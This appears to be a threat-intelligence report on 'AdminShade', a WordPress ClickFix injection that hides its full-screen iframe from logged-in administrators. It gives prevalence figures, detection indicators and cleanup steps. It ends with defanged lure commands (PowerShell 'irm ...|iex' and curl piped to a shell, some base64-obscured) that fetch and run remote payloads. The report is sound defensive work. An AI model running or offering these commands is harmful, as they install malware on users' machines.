AdminShade ClickFix kit

The administrator gets the quiet version

AdminShade is a WordPress injection built around window.__jsInjectorModal. It exits on /wp-admin and /wp-login.php, a wordpress_logged_in cookie, the WordPress admin bar or an admin-bar body class. The owner can browse the site while signed in and miss the full-screen frame served to visitors.

Each browser gets a cookie made from jsInjectorShown_ and the current hostname. The cookie lasts one year. Returning with the same profile suppresses the frame, so a logged-out test still needs fresh browser storage.

One branch asks before showing the frame

A branch captured on 11 October accepts Windows, macOS and Android visitors. Other mobile platforms trigger a status request without opening the frame. Eligible visitors go through a controller check carrying captchashowed=true; the iframe opens only when the JSON reply contains ok: true.

The script sets the one-year cookie, creates a sandboxed iframe at the highest z-index and locks scrolling on both the document and body. That captured configuration removes the frame after 50 seconds and restores scrolling. The remote page occupies the whole viewport during that interval.

Another branch clears the screen first

A second 11 October build starts a MutationObserver and checks the page every 500 milliseconds for other fake verification overlays. It removes known Cloudflare-style roots, hides large fixed elements above its z-index threshold and blocks fetch or XMLHttpRequest calls to suspicious verification routes. One explicit target is #bw-cf-root, used by BW panel.

After the window finishes loading, this branch waits about 600 milliseconds and opens its own iframe for five minutes. It saves the one-year cookie when the frame closes. The overlay cleaner keeps running even when that cookie suppresses another display.

What we see

Month	New sites
September	52
October	65
November so far	21

The persistence check found AdminShade again on 23 of 45 sites recaptured at least 25 days after their first match (51%). 94% of AdminShade sites captured since 25 September run WordPress, and 60% of those run WordPress 7.1.

AdminShade often shares a site with other ClickFix code. 75 sites also carry LenAI, 31 carry LA02 and 22 carry OverlayWar.

Checking a WordPress site

Fetch the logged-out HTML with fresh cookies, then search it and cached copies for:

• window.__jsInjectorModal or js-injector-modal-root
• checks for wordpress_logged_in, wpadminbar, /wp-admin or /wp-login.php
• cookie names beginning with jsInjectorShown_
• a full-screen iframe that locks document.documentElement.style.overflow
• a captchashowed controller parameter and an ok: true decision
• code that removes #bw-cf-root, watches page mutations or wraps fetch and XMLHttpRequest

Remove the injection and the server-side change that writes it. Purge page, plugin and CDN caches before testing again while logged out.

irm kalooms[.]com/check/update.ps1|iex

iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('[base64 of: irm huesosivvdoite[.]com/check/update.ps1|iex]')))

$(curl -fsSL hxxps://toolset17[.]tools/28uu)

irm neebyishaka[.]com/check/update.ps1|iex

curl -kfsSL $(echo '[base64 of: hxxp://alluringsites[.]com/curl/bd2992d8187bf661299aa2355ea13650bc415eb2870588d237c82061805a78d6]'|base64 -D)|zsh